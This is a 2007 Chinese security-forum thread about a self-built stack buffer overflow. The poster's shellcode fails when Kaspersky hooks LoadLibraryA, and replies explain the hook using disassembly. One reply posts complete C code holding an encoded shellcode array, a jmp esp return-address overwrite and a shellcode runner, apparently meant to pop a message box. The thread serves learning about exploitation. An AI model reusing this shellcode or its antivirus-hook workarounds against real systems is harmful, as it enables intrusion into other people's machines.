首页
社区
课程
招聘
[求助]如果KERNEL32.LoadLibraryA地址被修改.
发表于: 2007-9-12 23:01 10788

[求助]如果KERNEL32.LoadLibraryA地址被修改.

2007-9-12 23:01
10788
遇到的问题是这样的!
我自己构造了一个溢出!
在我的电脑上测试可以溢出成功,执行任意代码。
但是拿到我朋友的电脑上去的时候,她装了一个卡巴!
当执行shellcode的时候,执行到 call dword ptr [KERNEL32.LoadLibraryA]这句的时候,
od就异常了。
是不是因为卡巴修改了LoadLibraryA的地址造成的?

在调用前,
是不是还要写代码恢复SSDT表才行!

下面是被溢出的程序和ShellCode代码

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (15)
雪    币: 44229
活跃值: (19950)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
装了卡巴,LoadLibraryA被HOOK了
2007-9-12 23:22
0
雪    币: 8209
活跃值: (4458)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
3
7C883FC4 LoadLibraryA        -E9 1830D935      JMP B2616FE1
7C883FC9                      90               NOP
7C883FCA                      90               NOP
7C883FCB                      90               NOP
7C883FCC                      90               NOP
7C883FCD                      90               NOP
7C883FCE                      90               NOP
7C883FCF                      90               NOP
7C883FD0                      90               NOP
7C883FD1                      90               NOP
7C883FD2                      90               NOP
7C883FD3 LoadLibraryExA      -E9 7D31D935      JMP B2617155
2007-9-12 23:26
0
雪    币: 112
活跃值: (16)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
4
多谢两位大大回答!
那如果我的ShellCode里面要调用LoadLibraryA函数的话!

是不是在shellcode里面,调用LoadLibraryA函数前,要恢复ssdt表。
或者寻找真正的LoadLibraryA函数的地址,然后调用,这样就不需要恢复ssdt表
2007-9-13 01:08
0
雪    币: 226
活跃值: (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
你想错了,跟SSDT没关系。
注意这句
7C883FC4 LoadLibraryA        -E9 1830D935      JMP B2616FE1

可以看出卡巴是通过异常来转到正确的代码执行的。SHIFT步过应该没问题的。
2007-9-13 04:16
0
雪    币: 8209
活跃值: (4458)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
6
应该是shellcode所在内存段没有E属性
2007-10-15 15:58
0
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
7
楼上顶一个月前的旧贴啊
2007-10-15 15:59
0
雪    币: 8209
活跃值: (4458)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
8
问题太难,想了一个月
2007-10-15 19:21
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
9
一个月前有异常吗?
2007-10-16 01:04
0
雪    币: 8209
活跃值: (4458)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
10
一个月前我没有卡巴7
2007-10-16 08:48
0
雪    币: 263
活跃值: (10)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
11
卡巴?
key有着落了?
2007-10-16 13:04
0
雪    币: 112
活跃值: (16)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
12
嘿嘿
是在堆栈中的哈,

继续学习,
看看怎么恢复好点!
2007-10-19 22:30
0
雪    币: 112
活跃值: (16)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
13
回帖是一种美德
2007-10-19 22:32
0
雪    币: 926
活跃值: (382)
能力值: (RANK:500 )
在线值:
发帖
回帖
粉丝
14
我这个也是在执行LoadLibraryA后 就异常. 不装任何杀毒防火墙  都是异常.
#include <stdio.h>
#include <string.h>
char name[] =
"\xeb\x0e\x5b\x4b\x33\xc9\xb1\x9b\x80\x34\x0b\xfe\xe2\xfa\xeb\x05"
"\xe8\xed\xff\xff\xff\x17\x7b\xfe\xfe\xfe\xa1\x9a\x5f\xce\xfe\xfe"
"\xfe\x75\xbe\xf2\x75\x8e\xe2\x53\x75\x96\xf6\x75\x09\x94\xfc\xa7"
"\x16\xdb\xfe\xfe\xfe\x1c\x07\x96\xcd\xcc\xfe\xfe\x96\x8b\x8d\x9b"
"\x8c\xaa\x01\xe8\x75\x16\x94\xff\xa7\x16\xf2\xfe\xfe\xfe\x1c\x07"
"\xaf\xa9\xa9\xaf\x01\xa8\xf6\x01\xa8\xfa\xaf\xa8\x75\x8b\xc2\x75"
"\x8a\xd0\x86\xfd\x0b\xa8\x75\x88\xde\xfd\x0b\xcd\x37\xb7\xbf\x53"
"\xfd\x3b\xcd\x25\xf1\x40\xee\xc4\x28\x8a\xf6\x3f\x35\xf9\xfd\x24"
"\xbe\x15\x0f\xc5\xe1\x8b\x19\xa0\x75\xa0\xda\xfd\x23\x98\x75\xf2"
"\xb5\x75\xa0\xe2\xfd\x23\x75\xfa\x75\xfd\x3b\x55\xa0\xa7\x3d\x16"
"\x88\x01\x01\x01\xcc\x8a\x6f\xf2\x9d\x77\x2f\xb1\x94\xf4\xc6\xe0"
"\x68\x61\x70\x70\x79\x20\x66\x6F\x72\x20\x32\x30\x30\x37\x37\x41"
"\x41\x41\x41\x41"  //覆盖EBP
"\x12\x45\xfa\x7f"        //覆盖成jmp esp的地址,
"\xe9\x33\xff\xff\xff"  //跳到shellcode头部
;
int main()
{
        char output[192];
    strcpy(output, name);
    for(int i=0;i<192&&output[i];i++)
    printf("\\0x%x",output[i]);
    return 0;
}

但是如果SHELLCODE 在数据段就可以正常执行弹出窗口.
也就是
#include<windows.h>
char ShellCode[]=
"\xeb\x0e\x5b\x4b\x33\xc9\xb1\x9b\x80\x34\x0b\xfe\xe2\xfa\xeb\x05"
"\xe8\xed\xff\xff\xff\x17\x7b\xfe\xfe\xfe\xa1\x9a\x5f\xce\xfe\xfe"
"\xfe\x75\xbe\xf2\x75\x8e\xe2\x53\x75\x96\xf6\x75\x09\x94\xfc\xa7"
"\x16\xdb\xfe\xfe\xfe\x1c\x07\x96\xcd\xcc\xfe\xfe\x96\x8b\x8d\x9b"
"\x8c\xaa\x01\xe8\x75\x16\x94\xff\xa7\x16\xf2\xfe\xfe\xfe\x1c\x07"
"\xaf\xa9\xa9\xaf\x01\xa8\xf6\x01\xa8\xfa\xaf\xa8\x75\x8b\xc2\x75"
"\x8a\xd0\x86\xfd\x0b\xa8\x75\x88\xde\xfd\x0b\xcd\x37\xb7\xbf\x53"
"\xfd\x3b\xcd\x25\xf1\x40\xee\xc4\x28\x8a\xf6\x3f\x35\xf9\xfd\x24"
"\xbe\x15\x0f\xc5\xe1\x8b\x19\xa0\x75\xa0\xda\xfd\x23\x98\x75\xf2"
"\xb5\x75\xa0\xe2\xfd\x23\x75\xfa\x75\xfd\x3b\x55\xa0\xa7\x3d\x16"
"\x88\x01\x01\x01\xcc\x8a\x6f\xf2\x9d\x77\x2f\xb1\x94\xf4\xc6\xe0"
"\x68\x61\x70\x70\x79\x20\x66\x6F\x72\x20\x32\x30\x30\x37\x37\x41";
int main()
{

( (void(*)(void)) &ShellCode)();
return 0;
}

我同学说是 不能往上跳  往上跳的话堆栈可能不被保护,
但是往下JMP ESP后直接执行SHELLCODE也不行  原因是堆栈不够大 装不下我的SHELLCODE
希望 牛牛们分析下
看如何使用我这段SHELLCODE能溢出成功  弹出那个可爱的窗口.
2007-10-23 19:23
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
15
都跳到你了,你爱干啥干啥,还有不能跳的道理?
2007-10-23 19:27
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
16
原来被卡巴害惨的不止我一个。。。

卡巴那个LOADLIBRARY的钩子。。。貌似先改写函数,再写钩子代码。。。在大量建进程,DLL注入的条件下(重复100次),总有那么几个进程在钩子代码写到内存之前就跑到那里去了,产生无效地址异常。。。
2007-10-24 15:01
0
游客
登录 | 注册 方可回帖
返回
//